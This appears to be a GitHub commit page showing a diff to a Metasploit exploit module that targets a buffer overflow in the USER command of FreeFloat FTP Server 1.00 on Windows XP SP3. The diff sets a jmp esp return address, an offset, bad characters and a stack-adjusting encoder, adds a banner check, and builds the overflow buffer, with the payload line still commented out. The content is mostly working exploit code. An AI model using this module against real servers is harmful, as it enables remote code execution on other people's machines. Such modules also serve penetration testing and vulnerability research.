Skip to content

Commit 96f3a2d

Browse files
committed
freefloatftp_user.rb
1 parent bd11b4f commit 96f3a2d

File tree

1 file changed

+22
-7
lines changed

1 file changed

+22
-7
lines changed

modules/exploits/windows/ftp/freefloatftp_user.rb

Lines changed: 22 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
class Metasploit4 < Msf::Exploit::Remote
1111
Rank = LowRanking
1212

13+
include Msf::Exploit::Remote::Tcp
1314
include Msf::Exploit::Remote::Ftp
1415

1516
def initialize(info = {})
@@ -33,16 +34,17 @@ def initialize(info = {})
3334
'Payload' =>
3435
{
3536
'Space' => 500,
36-
#'DisableNops' => true,
37-
#'BadChars' => "\x00\x0a\x0d\x20\x5c",
38-
#'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
37+
'DisableNops' => true,
38+
'BadChars' => "\x00\x0a\x0d\x20\x5c",
39+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
3940
},
4041
'Targets' =>
4142
[
4243
[ 'Windows XP SP3',
4344
{
44-
'Ret' => 0x7E379353, # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll
45-
'Offset' => 228
45+
'Ret' => 0x7cb41020, # jmp esp
46+
#'Ret' => 0xDEADBEEF,
47+
'Offset' => 230
4648
}
4749
],
4850
],
@@ -54,10 +56,23 @@ def initialize(info = {})
5456
], self.class)
5557
end
5658

59+
def check
60+
connect
61+
disconnect
62+
print_status(banner)
63+
if (banner =~ /220 FreeFloat Ftp Server (Version 1.00)/)
64+
return Exploit::CheckCode::Vulnerable
65+
end
66+
return Exploit::CheckCode::Safe
67+
end
68+
5769
def exploit
5870
connect
59-
buf = pattern_create(300)
60-
send_cmd( ['USER ', buf], false )
71+
buf = rand_text(target['Offset'])
72+
buf << [ target['Ret'] ].pack('V')
73+
#buf << payload.encoded
74+
raw_send("USER #{buf}\r\n")
75+
#send_user(buf)
6176
disconnect
6277
end
6378

0 commit comments

Comments
 (0)